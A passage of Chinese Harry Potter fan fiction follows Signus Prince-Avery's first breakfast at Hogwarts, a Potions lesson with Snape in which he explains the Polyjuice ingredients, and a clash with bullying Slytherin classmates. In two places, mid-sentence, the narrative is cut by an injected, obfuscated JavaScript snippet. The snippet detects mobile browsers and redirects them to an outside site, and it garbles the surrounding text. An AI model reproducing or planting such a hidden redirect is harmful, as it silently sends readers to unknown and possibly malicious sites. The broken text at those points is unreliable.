“很遗憾,”埃里希收拾好了自己的行李,也加入了话题,“‘普普通通’先生已经跟魁地奇狂人共住了。” “那三个人就三个人吧!”西格纳斯说着。 “不考虑两位‘纯血’吗?”洛塔尔笑着问着。西格纳斯瞥了他一眼,轻哼一声,“我讨厌蠢货。” 5. 早餐时间 墨绿色帷幔形成的私密空间里,一只小鸟落在西格纳斯的枕边—— 体长约18cm,娇小的躯体却有着猛禽一般的带钩短喙;灰色的头颈部上,一条醒目的黑色贯眼纹犹如“蒙面眼罩”;背羽红褐,腹部白色,两胁略带粉色,黑色的尾羽基部有着白色基斑。 小鸟让开自己锋利的短喙,用毛茸茸的头部磨蹭着西格纳斯的脸颊,努力将人蹭醒。 “让我再睡一会……”西格纳斯迷迷糊糊的嘟囔,试图将脸埋进枕头里。 小鸟可不放任他这样,立刻在他身上又蹦又跳,坚决不让他再睡下去——西格纳斯最终还是败在了小鸟锲而不舍的叫醒服务下,不情不愿地睁开了眼睛。 “西格纳斯?”“西格纳斯,你醒了吗?”也许是听到了帷幔内的动静,埃里希和洛塔尔的声音接连响起。 “……你们倒是叫得亲切。”西格纳斯从柔软的床铺上爬起来,伸了个懒腰。 “那怎么办?让我们也叫你‘普林斯先生’?”洛塔尔回道。 西格纳斯闻言,忍不住笑了出来。 小鸟跳到他面前,侧头观察了一下,像是确认了他不会再次倒回床上,才终于放心了一样,飞到床头摆放的荆棘枝雕像上,凝固为雕像的一部分——这是卡斯托送给弟弟的晨起叫醒闹钟。 埃里希替西格纳斯将床铺一侧的帷幔打开,就看见了他床头的小鸟荆棘雕像,下意识用德语叫出了它的名字:“Neunt?ter?” “什么?”西格纳斯听得一头雾水。 洛塔尔闻言也凑了过来围观,“在德语里,伯劳鸟(Shrike)就叫‘Neunt?ter’,直译就是‘杀了九个’。” 西格纳斯轻笑,“我还以为‘屠夫鸟(Butcher Bird)’这个叫法已经足够凶残了,没想到还有更夸张的。” “它们这种小鸟,不是喜欢把猎物穿刺在荆棘上保存吗?以前德国那边就误传,说它们要攒够九只猎物后才会进食,于是就起了这个名字。”洛塔尔解释着。 “这种误解也挺有趣的。”西格纳斯一边说着,一边从床上起身,挥舞魔杖为自己换上了得体的服装,最后套上了素面的校袍。 埃里希和洛塔尔也换下了睡衣,换上常服并套上校袍。 此刻从宿舍的长窗看去,昨夜深沉的墨绿色湖水,已经被晨光照彻成玉石般的青绿。 “先去洗漱,然后去礼堂。”埃里希显然已经提前打探好了不少信息,“早餐时,级长会发下课表。咱们用餐后还需要回来拿课本。” 西格纳斯上下打量着他,“看起来,你们现在适应良好?” “再不情愿,也无法改变既定事实。”埃里希语气有些无奈的说道,然后洛塔尔接话,“而且,我们觉得……有些人值得长期观察” 西格纳斯双眼微眯,“看戏可是要付出代价的。” “当然有所准备。”埃里希回应。 “罗齐尔付得起。”洛塔尔回答。 *** 礼堂的早餐一直提供到上午8:30,而西格纳斯的伯劳鸟闹钟7:00左右就将他闹了起来。他和罗齐尔兄弟在盥洗室简单梳洗完毕,沿着长长的地窖走廊前往礼堂,到达礼堂时,座钟显示的时间也不过是7:20——他们有足够的时间来享受早餐,和—— 在一群飞入礼堂的猫头鹰中,一只灰林鸮扑腾着翅膀落在了西格纳斯面前,四散飘落的绒羽让他毫不迟疑地放弃了自己盘中尚未吃完的早餐。 猫头鹰拖着一个有些扁平的包裹挪动到西格纳斯面前,示意他接收邮件。 包裹表面还拴着一卷信纸——甚至没有一个规整的信封,所幸还有个固定咒能防止它中途掉落。这种敷衍的包装,令西格纳斯下意识深吸了一口气。 “谢谢你的服务,小家伙。”西格纳斯露出一个笑容,将一杯清水送到这只明显来自魔法邮政系统的猫头鹰面前,一边解下包裹一边说着:“可惜我没带猫头鹰能吃的——” 话音没落,一盘撕碎的鸡胸肉就冒了出来。西格纳斯一挑眉,自然地将餐盘也移动到猫头鹰脚边,“辛苦了,稍微补充一点体力。” 摘下包裹和信件,西格纳斯已经隐约猜到了包裹的来源。他没有先去打开包裹,而是先展开了信纸。 “我的小甜心西格尼:” 信件的开头就印证了西格纳斯的猜想——这正是父母寄来的邮件。 “真遗憾我们错过了送你上学的重要日子——赫布底里群岛离伦敦实在是太远了。而麦克法斯蒂家只给了我和你父亲一次性进入许可,现在回去就太可惜了。 不过为了庆祝你顺利入学,我们特意准备了礼物!就在随信包裹里,你一定会喜欢的。 永远爱你的妈妈(mummy),还有爸爸(daddy)。” 最后的“and daddy”是另一种字迹,应当是父亲后来添加的。 他放心的打开了包裹——毕竟能经过魔法邮政系统检验的包裹,基本没什么危险性——但震撼性还是有的:纯黑底色,带青铜色虹彩反光,边缘呈锯齿状的菱形鳞片;茶杯大小厚实的三片,成人手掌大小略薄一些的两片——赫布底里群岛黑龙背部鳞片和颈部鳞片,就这么用这简陋的纸张打包了一下寄过来了?! 他在重新包起包裹的时候,发现里面夹着一张纸片,拿起一看,是父亲潦草的字迹: “本来还想给你弄点龙唾液寄过去的,但是麦克法斯蒂家不让,还训了我一顿,真讨厌。 PS. 别告诉卡索。” 难得生出的一丝感动立刻烟消云散,西格纳斯差点一口气上不来。 黑龙鳞片是惰性材料也就罢了,唾液那种液态风险材料,公共邮政系统根本不可能同意邮寄。 而且据他所知,父母能拿到赫布底里群岛黑龙保护区的一次性准入许可,完全是因为卡斯托正在跟麦克法斯蒂家族进行谈判,就注资合作问题开展协商——然后自己的父亲就做出了这么丢人的事情…… “还说什么‘别告诉卡索’……”西格纳斯的手指狠狠地捏着纸条,“信不信我马上双面镜他。” 洛塔尔凑了过来,看到了纸条上的内容,忍不住轻笑了一下,“‘卡索’是你哥哥吗?昨天你聊双面镜时,好像听到你这么叫了。” “看起来很辛苦啊,‘卡索’哥哥。”埃里希也凑过来,感慨了一句。 “‘卡索’?你们在说卡斯托·埃弗瑞学长吗?”安东尼奥·埃斯波西托-霍兰德那有些轻佻的声音忽然冒了出来。 西格纳斯看过去——要不是哈伦·特拉弗斯拉着,这个看似开朗得与现在整个斯莱特林都有些格格不入的意大利裔帅哥,就要凑到他们身边了。 “你们认识我哥哥?” “毕竟他是少数愿意与低年级接触的七年级——虽然大部分时间都是为了向我们介绍他‘天真活泼’的可爱弟弟。”安东尼奥终于在哈伦的控制下,还算老实地坐在了座位上。 听到“天真活泼”这个评价,罗齐尔兄弟将目光凝聚在西格纳斯身上,眼神透露出一丝疑惑——“天真活泼”?谁?西格纳斯? 西格纳斯感知到他们的视线,对他们露出一个假得不能再假的假笑,“你们对我哥哥的评价有意见吗?” 埃里希仿佛水被呛到一样,一边咳嗽一边摆手,洛塔尔则一脸真诚的快速摇头。 “昨天还有点不敢确认,毕竟埃弗瑞学长之前可不是‘普林斯’。” “我们家族今年6月才恢复的完整姓氏。”西格纳斯微笑着说明。 “真不愧是埃弗瑞学长,时间卡得可真好。”安东尼奥插起一根香肠,大口咬下,“在我们西西里,可是有着许多这样沉稳可靠的好男人呢!”他笑容满面,却无端让人联想到颤动尾巴尖的意大利蝰蛇。 “啪!”的一个巴掌打在安东尼奥的后脑上,把他打得差点扑进煎蛋盘子里。 “别贫嘴。”哈伦·特拉弗斯淡定地收回手,撕了块面包,同时对西格纳斯解释,“埃弗瑞学长在校时,帮了我们很多次,我们很感谢他。” 虽然不知道卡斯托具体帮过他们什么,但西格纳斯还是点头回应。 安东尼奥擦掉脸上蹭上的酱汁,看向西格纳斯手边的包裹,“是家里人的来信吗?真好啊!当初我入学的时候,据我母亲说,得知我进了斯莱特林,爸爸哭了一整晚呢!” “我记得‘霍兰德’是个赫奇帕奇世家?”西格纳斯随口接话。 “没错,所以当时他哭得可伤心了。” “那最后怎么样了?”洛塔尔好奇地问了一句。 “很快就没事了。”安东尼奥擦擦嘴,不在意地说着,“倒是我母亲觉得挺可惜的,她说那天的爸爸,骑起来其实别有风味呜呜呜——”哈伦·特拉弗斯果断出手,捂住了他那毫无遮拦的嘴巴。 当卡西乌斯·博克跟着弗利女士一起出现在礼堂长桌对面时,遇见的就是这个场景。 卡西乌斯·博克看向西格纳斯,对他轻轻颔首。 “埃斯泼西托先生,”弗利女士坐在博克为她拉开的座椅上,看向安东尼奥,“还请克制一下你那过于奔放的语言——鉴于你才12岁。” “哦!弗利女士!我觉得不行。毕竟我们意大利男人学会的第一句话,就是赞美爱情。”安东尼奥挣脱了哈伦的手,向弗利女士露出大大的笑容,同时给了她一个wink,“不会说‘Sei bellissima!’(你真美!)的人,是会被邻居笑话的。” 对于这种主动加深刻板印象的行为,就连弗利女士也有些无语。 “卡尔佩妮娅·弗利 (Carpentia Fawley)”弗利女士最后选择看向一年级的三人,正式做出自我介绍,“四年级。” “你好,弗利女士。”西格纳斯礼貌颔首,罗齐尔兄弟也点头致意。 “我来,是为你们做一些提醒的。” 弗利女士说道,“五年级的前辈们要面临O.W.L.s考试,六年级和七年级也需要更多精力来应对N.E.W.T.s级别的高级课程和考试。”她的表情非常平静,“我和卡西乌斯作为四年级,可以提供一些帮助,但也不可能时刻都在。” 被点到名字的卡西乌斯·博克没有任何特殊反应,仍是一边吃着夹着黄油的圆面包,一边将浇好枫糖浆的松饼、烤番茄和蘑菇、酸奶沙拉等食物,放在弗利女士手边。 “斯莱特林的现状我相信你们也了解,所以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117900|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你们要做好准备——遇到事情,只能靠自己。”弗利女士话音刚落,博克就将一把银叉塞在她的手里,说出了今天见面以来的第一句话:“吃早餐。” 真是个惜字如金的男人。 *** “早安,各位。”这次出现的是五年级的女级长埃洛伊丝·诺克特。 “卡莉娅,这是四年级的新课表,哦,还有博克先生的。”她亲切地叫着弗利女士的昵称,向她晃了晃手里的纸质课表,然后将其放在了卡西乌斯·博克手边。接着,她转向二年级,“特拉弗斯和埃斯泼西托先生,这是你们的二年级的。” 最后她看向西格纳斯和罗齐尔兄弟,“看来只有你们在这——一年级的课表。”诺克特级长女士说着,将课表放到他们手边,并说道:“容我提醒一句,院长可不乐意见到迟到的斯莱特林。” 西格纳斯低头一看,一年级斯莱特林周五的课程,果然一上来就是斯莱特林院长斯内普教授的魔药课。 安东尼奥凑过来,看见课表吹了个口哨,“好消息,第一节课是院长的。”他嬉皮笑脸地说着,“坏消息,斯莱特林的魔药课,从来都是跟格兰芬多一起上的。” “那听着可真令人绝望。”显然,格兰芬多没有给在座的几位低年级斯莱特林,留下任何正面印象。 诺克特女士环顾四周,确定了下一步的目标方向,“我看到了三年级和剩下的几个一年级。”她与弗利女士打着招呼,“卡莉娅,我先过去了。” “埃洛伊,”弗利女士叫住诺克特级长,“四年级的课表就留给我吧!我会替你发出去的。” 诺克特女士显得十分开心:“感谢,亲爱的卡莉娅。”她快速地将四年级课表都塞到卡西乌斯·博克的手里,“你知道的,我跟他们可不大处得来。” 卡西乌斯·博克面无表情的接过另外几张课表——应该也就是四、五张的样子。 “那我走了,卡莉娅,好好享受早餐。” “辛苦了。” 西格纳斯意识到这位五年级女级长与四年级的弗利女士关系显然非常亲近,而有这个好奇心的当然不只他一个——洛塔尔看向对面,用手势和口型询问卡西乌斯:“弗利女士和诺克特级长?” 卡西乌斯抬眼看了看均是一脸好奇的三人,“你们难道听说过诺克特家族?” 懂了。 一个并非古老、知名巫师世家出身的斯莱特林,就算获得了级长的身份,也依旧会有人看不顺眼——尤其是那些与所谓的“二十八纯血”有关的家族。 而弗利女士,她的姓氏和家族财富,足以让其他人都闭嘴。 “好了,男孩们。”弗利女士出声,打断了男生们的窃窃私语,“早餐闲聊时间该结束了。” *** 西格纳斯不紧不慢地喝完最后一杯红茶,收拾好自己的龙鳞包裹,起身和高年级告辞,“那么各位,我们先回去做准备了。”罗齐尔兄弟正站在他身后。 “一起。”哈伦拉着安东尼奥也站了起来,“我想也许你们需要知道,魔药课教室的位置。” “你说得对,”西格纳斯微笑回应,“我们非常需要。” 两位二年级斯莱特林带着西格纳斯三人离开礼堂,下到拱形石廊处,指向了昨天前往地窖方向的对侧,“那边走廊的中间,就是魔药课教室,院长的办公室也在教室旁边。”哈伦说着,“走廊尽头是盥洗室。” “我听说,霍格沃兹城堡是活的。”埃里希说着,“这里不会有变动吗?” 安东尼奥一进地下空间,就整个人毫无形象地挂在哈伦的肩膀上,哈伦拍了他额头一下,示意他站好,“地窖里基本是稳定的,这里毕竟是地下,还连着黑湖湖底。但学校其他地方的楼梯,的确会经常改变方向。”他介绍着说,“所以,你们去上其他课的时候,最好早点出发。” 西格纳斯点头,然后几人一起走向地窖深处,返回斯莱特林休息室——他们要回去拿课本和其他器具。 行至走廊深处,前后无人,西格纳斯忽然开口,“那么,格兰芬多?” “万幸只有魔药课。”哈伦自然接话。“一年级还有飞行课,”安东尼奥添了一句,“不过二年级就没有了。” “魔药课教授是斯莱特林的院长。”洛塔尔也插话。哈伦回应,“所以不需要过多在意。院长是公平的,但斯莱特林立于不败之地。” “飞行课?”西格纳斯提问。 “霍琦夫人看上去,可不像是个格兰芬多。”安东尼奥替哈伦回答。 “那么,主要是庭院?”埃里希总结。 “庭院,但有时也有走廊。”哈伦回答,安东尼奥嘟囔,“毕竟教授也不是一直都在。” 罗齐尔兄弟快速地对视一眼。 “所以,剩下的?” “被格兰芬多丢掉的脑子和礼貌。”安东尼奥用词刁钻,哈伦则客气一些,“互不打扰,保持距离就好。” 说话间,他们已经到达走廊尽头。 “权利。”西格纳斯说出口令,休息室的大门无声滑开,“那么,我们去拿书了。” 哈伦推着耍赖的安东尼奥走向二年级的寝室,回应了西格纳斯一句,“记得带上龙皮手套,你们会需要的。” 6. 魔药课 西格纳斯和罗齐尔兄弟离开公共休息室,沿着走廊走向魔药课教室。 他当然不会带着龙鳞去上课——除非霍格沃兹的教授们都疯了,否则绝对不会有人会让一年级新生,熬制需要用到龙鳞的高端药剂。 西格纳斯左手抱着《千种神奇草药及蕈类(One Thousand Magical Herbs and Fungi)》和《魔法药剂与药水(Magical Drafts and Potions)》课本,右手拎着一个小型手提箱——这让不得不用布包兜着坩埚、天平等魔药课器具的罗齐尔兄弟相当羡慕——那个内嵌了漂浮咒的小提箱里,锡镴质(标准尺码2号)坩埚、黄铜天平和整套的玻璃药瓶,以及承装着常用魔药配料的材料瓶,被整齐地嵌合在箱中固定的位置上,提箱还有一个空格专门用来放置龙皮手套——熬制魔药专用的那种。 “卡斯托专门找人给我定做的。”西格纳斯压抑不住得意地对两人炫耀道,“他说,我肯定不会喜欢抱着坩埚和天平去上课。” “真是个成熟可靠的男人。”洛塔尔此刻由衷地认同安东尼奥·埃斯泼西托-霍兰德的评价,埃里希则更实际,“有箱包匠的猫头鹰地址吗?我去告诉父亲,让他也去定做两个。” “不用那么麻烦。”西格纳斯嘴角勾着微笑,“我可以让哥哥直接联系你们父亲。” 罗齐尔兄弟对视一眼,对着西格纳斯露出彼此心知肚明的笑容。 说话间,他们已经走到了魔药课教室门口。 地下教室总是比地上阴冷一些,但这能有效地维持药剂的稳定。选择教室位置的人,显然清楚精妙的魔药制作工艺需要些什么。 西格纳斯放下课本和手提箱后,无视了那些打闹、聊天、对魔药教室指指点点、对斯莱特林虎视眈眈的格兰芬多——他们看上去像是想要做个“勇敢地对抗‘食死徒’”的“勇士”,但最终还是不敌罗齐尔兄弟的冷肃气质和高出一截的身形,而面露不忿地保持距离——津津有味地观赏起魔药教室沿墙摆放的标本架。玻璃罐中浸泡的那些神奇动物标本,可不是麻瓜世界里,那些普通的动物标本能比得上的。 城堡的钟声响起,是上课的时间了。 西格纳斯迅速回到了座位上,罗齐尔兄弟一左一右将他夹在中间,隔开了那些上课钟声都堵不住嘴的格兰芬多。 教室的大门被推开,魔药教授斯内普大步走了进来,他黑色的长袍随着他的步伐翻涌,如蝙蝠般无声滑过。 格兰芬多们没一刻消停的嘴,终于闭上了。 他一路行至教室的最前方,转身,用那双漆黑的眼睛扫过所有人。当西格纳斯与他眼神交汇时,仿佛看到了一处幽暗寂静的深渊。 他拿出点名册,开始一个个点名。 当他念到西格纳斯名字中的“普林斯”时,唇齿间吐出的音节,隐约有种不同于念到其他名字时的独特节奏。 西格纳斯不认为那是自己的错觉,但同时也想不明白那份独特的缘由。 魔法界以魔药闻名的家族那么多——极有可能与美容魔药大师萨克丽萨·塔格伍德有关的格兰达·塔格伍德也在今年入学——虽然西格纳斯自豪于普林斯的传承,但也必须承认,如今的“普林斯”并不显赫、甚至主支已经凋零没落。 那么,又有什么值得关注的? 不等西格纳斯思考更多,斯内普已经点完了名字。 “你们来到这里,是为了学习魔药配制的精密技术和严格工艺。” 他开口,不费吹灰之力,就让整个教室只留有他的声音。 “我并不指望你们能真正领会这份精妙技艺的美妙所在,你们也许永远也不能明白,这种令人心荡神驰、意志迷离的神妙液体的魔力。”他用低沉浑厚的嗓音描述着魔药的魅力,刻意拖长的音节,让听者不得不专注跟随他所说的每个词、每处停顿,甚至每一次呼吸,“我可以教会你们怎样提高声望,酿造荣耀,甚至阻止死亡……” “——但有一个前提,那就是你们不是我经常遇到的那种白痴才行。” 他短短的开场白后,全班鸦雀无声。 西格纳斯觉得,此刻没人会在意他蜡黄的脸色和油腻的黑发。——当黑曼巴蛇张开蛇口,谁会在意它的毒牙是否整洁漂亮? 那是对自身所掌控领域的绝对自信,权威凝聚而来的威严不容置疑。 这种绝对的掌控力,令人心醉。 “那么,达菲先生。”斯内普教授开口,点了一名格兰芬多学生,“如果我要获得榭寄生浆果,我应该什么时候去采?” 校袍上绣着艾丹·达菲(Aidan Duffy)的格兰芬多站起来,迟疑了半天,才不确定地开口回答:“等它……长果子的时候?” 斯内普教授看他的眼神,嫌弃得如同看到了一头巨怪。“坐下。”他低沉的嗓音仿佛淬着毒汁,“如果你不会,就说‘不知道’。这样至少能让你看上去,不像被鼻涕虫占据了脑子。” 菲利斯·罗尔和拜伦·塞尔温两个人捂着嘴,哧哧地偷笑,斯内普教授却仿佛没听见一样。 “多伊尔先生。”他点了另一个名字,还是个格兰芬多。加雷斯·多伊尔(Gareth Doyle)吓得几乎是跳了起来,抖得仿佛被死神拍了肩膀,他小声嗫嚅着,“我、我不知道,教授。” 斯内普黢黑的眼睛盯着他,几乎要将他吓晕过去了。 一个声音格外“勇敢”地响起,“您为什么不问斯莱特林?那个女生不是很乐意回答吗?” 西格纳斯这才发现,格兰达·塔格伍德正高高地举着手,积极地回应着斯内普的提问。 “加拉格尔(Gallagher)先生……”斯内普的嗓音拖长,透出几分阴冷的愉悦,“为你的顶撞教授,格兰芬多扣1分。” 塞尔温和罗尔的笑声更明显了。 “那么,塔格伍德小姐,你来回答。” “冬天,教授。”格兰达·塔格伍德的声音轻快极了,“榭寄生的完整浆果必须在冬天采集。” “完全正确。”斯内普教授挥了挥手,让她坐下,“为你精准的答复,斯莱特林加1分。” “接下来,普林斯-埃弗瑞先生。”依然是音节仿佛从唇舌间滑过的念法,而“埃弗瑞”的后缀念得又快又轻,极易被忽略。 “黑根草(Moly)长什么样?有什么作用?” 这个问题对西格纳斯来说非常简单,“黑根草是一种茎为黑色,花为白色的植物。食用后可以抵消法术。” “正确。”斯内普语气平淡地说着,“你能在毒角兽(Erumpent)身上获得什么材料?” 这问题有点超纲。 毕竟毒角兽属于XXXX级魔法生物,它能产出的材料,也都属于B类可贸易物品——受严格控制的危险制品。一般学生可接触不到。 不过,这可难不倒西格纳斯,他微笑着回答:“毒角兽的角、尾巴和爆炸液都可以用于魔药制作,主要用于爆炸相关药剂,当然,也会用于炼制爆炸弹等炼金物品。” “很好。”斯内普说着,“那么,当我熬制复方汤剂时,每种材料的作用都是什么?” 这是一道完全超纲的题目! 别说是对于一年级的新生,就是少数能成功熬制出复方汤剂的巫师,都不一定清楚每种材料的作用。 罗齐尔兄弟眉头紧锁,看了看斯内普,又担忧地看向西格纳斯;塔格伍德则明显有些震惊,另外三个没什么存在感的斯莱特林也犹豫地看了过来,就连塞尔温和罗尔都呆住了;格兰芬多大概想要嘲笑一下,但此刻没人笑得出来——没人相信斯莱特林的院长会刁难自己学院的学生。 西格纳斯看向斯内普,两人双目相对,西格纳斯却难以从那对深渊一般的眼眸中,读出任何情绪。 “熬制复方汤剂,需要满月流液草(Full-moon Fluxweed)、两耳草(Knotgrass)、草蛉虫(Lacewing Flies)、蚂蝗(Leeches)、双角兽角(Horn of Bicorn)、非洲树蛇皮(Skin of Boomslang),以及目标人物的身体组织,比如头发。” 西格纳斯的声音依旧镇定,他看着斯内普,心里却想起了从小就经常翻阅浏览的普林斯家族传承。那些书籍比现如今大部分的魔药教材都更加深奥,不仅有魔药的配方、手法的改进、材料的特殊要求,还包括珍贵的研究笔记——不仅仅是“用了什么”,更重要的是“为什么要用”。 “草蛉虫,捕捉目标当前的生命状态和魔力波动;双耳草,搭建一个人与另一个的生命关联;满月流液草,激活一个人变为另一个人的可变性;蚂蝗,从一方吸取物质注入另一方……”西格纳斯将自己记忆中的知识讲了出来。而随着自己的讲述,西格纳斯发现斯内普看着自己的黯黑双眸,隐隐流露出一丝不易察觉的复杂,“……非洲树蛇皮,脱落的外皮与内层的新皮——是变形力量的核心载体;双角兽的角,稳定变形后身心表里的二元性,同时中和非洲树蛇皮的烈性。” 整个教室里寂静无声。 若说之前的震惊,是因为“斯莱特林院长刁难斯莱特林学生”这件不可思议的事情,那么现在的震撼,就是这个学生真的把这个超纲问题回答出来了!——至于回答对不对,看教授的表情就知道,至少那绝对不是胡乱编造的答案。 “坐下吧。”斯内普的声音依旧低沉,“为你的回答,斯莱特林加20分。” 没人会觉得这个加分过高,就连格兰芬多都无法昧着良心说斯内普偏袒——毕竟他们连这个问题都没听懂。 “现在,愣着做什么?至少前几个问题的答案,你们难道不该记下来?” 魔药课继续了下去,仿佛刚刚的一切都没有发生。 进入实践操作阶段,所有人被分成了两人一组。 罗齐尔兄弟本打算分开,其中一人与西格纳斯搭档,但被他拒绝了——最后的搭档是名为伯尼·皮尔思沃斯(Bernie Pillsworth)的斯莱特林新生,就是那位“普普通通”先生。 斯内普指导他们制作一款简单的治疗疥疮的药水,材料简单、操作简单:粉碎的蛇牙与干荨麻混合,加入蒸煮过的带触角鼻涕虫,最后坩埚离火后加入豪猪刺——但在斯内普拖着黑袍在教室内走来走去的过程中,几乎所有人都被批评过,包括塔格伍德小姐,因为她粗糙的蛇牙粉碎操作, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16117901|179996||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而被讽刺为“巨怪都比你仔细”。 只有西格纳斯,没有被批评,也没有被表扬。 每当斯内普的身形从桌旁滑过,静默地关注着西格纳斯的操作时,搭档的皮尔思沃斯都会忍不住手抖,但西格纳斯完全不受影响——他甚至在蒸煮带触角的鼻涕虫时,还分心想着“幸好戴了龙皮手套”,这个药水的原材料,他可不太愿意徒手接触。 教室里的意外层出不穷,不是这个处理干荨麻时伤到了了手,就是那个鼻涕虫煮过了头,甚至还有笨得被坩埚烫到的。不过最惨烈的还是要数先后两人的坩埚发生意外——不出意料,都是忘记将坩埚离火后再加入豪猪刺的格兰芬多——由于两处事故发生位置的关系,几乎每个人都或多或少被溅到了少许药液,所幸都只是落在衣服下摆或者鞋面上,没有造成更大损害。 只有西格纳斯心情有些微妙。自己的位置离其中一个人的坩埚不算远,但却一点也没被波及……他忍不住看向边骂着“蠢货”边指挥着学生,把人送去医疗翼的斯内普——刚刚他抽出魔杖后,用的第一个魔咒,似乎是个无声的防护咒。 一个小时后,西格纳斯的成品药水,获得了本节课唯一的“O(优秀)”评价。 *** 周五的斯莱特林一年级,下午没有课程安排。午时绚烂的阳光,终于穿透湖水,将休息室染成了绚丽的金绿色。 西格纳斯在斯莱特林休息室的雕花长椅上闭目休息。 罗齐尔兄弟从休息室外回来,在旁边的另一张椅子上坐下,“我们已经让猫头鹰送信给父亲了,让他直接跟你哥哥联系。” “我也已经跟卡索说过了。”西格纳斯坐起身,顺了一下自己因为姿势而有些翘起的头发。 他没有对卡斯托提起斯内普的事。 虽然按照时间推算,1976年入学的卡斯托,应该曾经是斯内普的学弟,甚至也是斯内普1981年任职魔药课教授兼斯莱特林院长后的第一批学生——但以当时的时局来说,他们恐怕并无过多的接触。 再者,卡斯托刚接手家族事务没多久,哪怕只是代理家主,要做的事情也有很多,自己总不能再给他加重负担。 而且,他认为斯内普的“特殊对待”,也许并不是什么坏事——权力者的特殊关注,又何尝不是另一种特权? 西格纳斯从来不抗拒特权,尤其是赋予自己的那种——毕竟就连分院帽都说了:“很少有人比你更适合斯莱特林。” 这时,休息室的大门再次打开。 “……那个泥巴种快哭出来了,真是太蠢了哈哈哈哈……”菲利斯·罗尔和拜伦·塞尔温一前一后大笑着走进休息室。 “魁地奇狂人”费利克斯·普伦顿(Felix Plumpton)和“普普通通”先生伯尼·皮尔思沃斯,带着有些尴尬的笑容,跟在他们身后走了进来。 “吵死了……”西格纳斯被他们的张狂的笑声吵得头疼。 “哦!让我看看这是谁?——原来是得罪院长的‘噗润斯-唉窝欸(Puh-rince Eh-ver-ay)先生’啊!”他们嘻嘻哈哈地凑过来,用一种古怪的腔调念着西格纳斯的姓氏。 对于一个古老世家来说,这种叫法就是最直接的侮辱。 “‘得罪’?你在说什么蠢话。”西格纳斯抬起头,双目冰冷,勾起嘴角,表情仿佛是听到了什么笑话,“教授会提问我,说明他相信我能够回答。——你会指望巨怪学会熬煮哪怕最简单的疥疮药水吗?” “你们贫瘠的魔药理论水平,已经浅薄到从浮夸的外表就能一眼看透的地步。”西格纳斯冷笑着,嘴上半点不饶人,“换我是教授,也不会多问你们哪怕一句。” 他毒辣的话语,把塞尔温几人堵得一时说不出话来。 “连最简单的疥疮药水都只拿到‘A(合格)’,”西格纳斯冷笑一声,讽刺道,“斯莱特林出身的历代魔药大师若是知道,恐怕都会伤心到哭呢!” “哇哦,火力全开呢!”洛塔尔贴着埃里希小声说着,假装西格纳斯听不到他们的嘀咕。 “但是扫射到咱们了。”埃里希也小声回应着。斯内普同样没有提问他们,同时这次因为坩埚意外的打扰,他们的成品药水评级也不过是个“E(良好)”。 “用你那比蜻蜓还小的脑子好好想想吧!”西格纳斯眼中的嘲讽几乎溢出来了,“除了像个张牙舞爪的蠢货一样,去恐吓麻瓜出身的巫师之外,多做点符合你们光辉血脉的事,别让你们的祖先在梅林面前无地自容——蜻蜓胸至少还能用来熬制魔药,你们呢?” 说完,他冷笑一声,起身走向寝室通道。 之前被压制得几乎无法呼吸,现在看着西格纳斯离去的背影,菲利斯·罗尔才仿佛终于反应过来,强撑声势地低声说着,“他得意个什么!” “对了。”西格纳斯忽然停步,折返了回来。一步步逼近塞尔温和罗尔,把他们吓得向后退了几步。 “如果你们的舌头没法好好的说话,”西格纳斯墨绿色的眸子,此刻凝结成一种带着流光的黝黑,“我不介意帮你们切除了它。” “放心,”他勾起一个甜蜜的笑容,像一只无害的伯劳鸟,“永远免费(Ever free)。” 7.经验之谈 每天的晚餐,都是霍格沃兹最丰盛的一顿。家养小精灵们会使出浑身解数,来填饱每一位小巫师的肚子。 烤乳猪肋排、炙烤小羊排、烤鸡、烤三文鱼、肉汁馅饼、烤时蔬、浇汁土豆泥、各种浓汤、各色沙拉。尤其是重头戏的甜点:多种口味的霍格沃兹特色布丁、内馅丰富的水果馅饼、各种口味的蛋糕、曲奇、果冻、冰淇淋、糖果…… 这是最正式,也是最热闹的一餐,同时也是大家最主要的社交活动时间。 西格纳斯和罗齐尔兄弟来到礼堂的时间不算太早,他们到来时,刚巧碰见弗利女士和卡西乌斯·博克正从礼堂出来。短暂地互相致意后,弗利女士便带着博克离开了。 当他们进了礼堂,准备在斯莱特林长桌落座的时候,西格纳斯又正好对上了远处赫奇帕奇长桌上的赫德森·布鲁姆的视线。 这位在霍格沃兹特快车厢中尤其热情的赫奇帕奇新生,此刻的表情却有些犹豫,似乎不确定是否应该与他们打个招呼——想必是被赫奇帕奇的前辈们,传授了不少“经验”。 西格纳斯当然注意到了赫德森神色的异样,不过他神态自若地当成没看出来,自然地向他点头微笑;罗齐尔兄弟顺着他的视线,注意到赫德森的位置后,也点头示意,洛塔尔还小幅度地挥了挥手。 坐在赫奇帕奇餐桌上的赫德森立刻像是被鼓励了一样,露出了大大的笑容,同时用力挥手示意——然后注意到自己手上还抓着忘记放下的鸡腿,又不好意思地收了回去。 这番明显的动作,自然会被其他赫奇帕奇注意到。当他们顺着赫德森的视线看到西格纳斯和罗齐尔兄弟时,表情是一种显而易见的诧异和疑惑。 西格纳斯收敛笑容,面容平淡地向赫奇帕奇长桌微微颔首,然后便转身,于斯莱特林长桌落座。 *** 当安东尼奥拉着哈伦挪到他们三人对面时,西格纳斯正在享用他的烤鸡配时蔬。 “听说,新学年的第一天,你就在休息室大发神威?真的?”安东尼奥显然充满好奇。 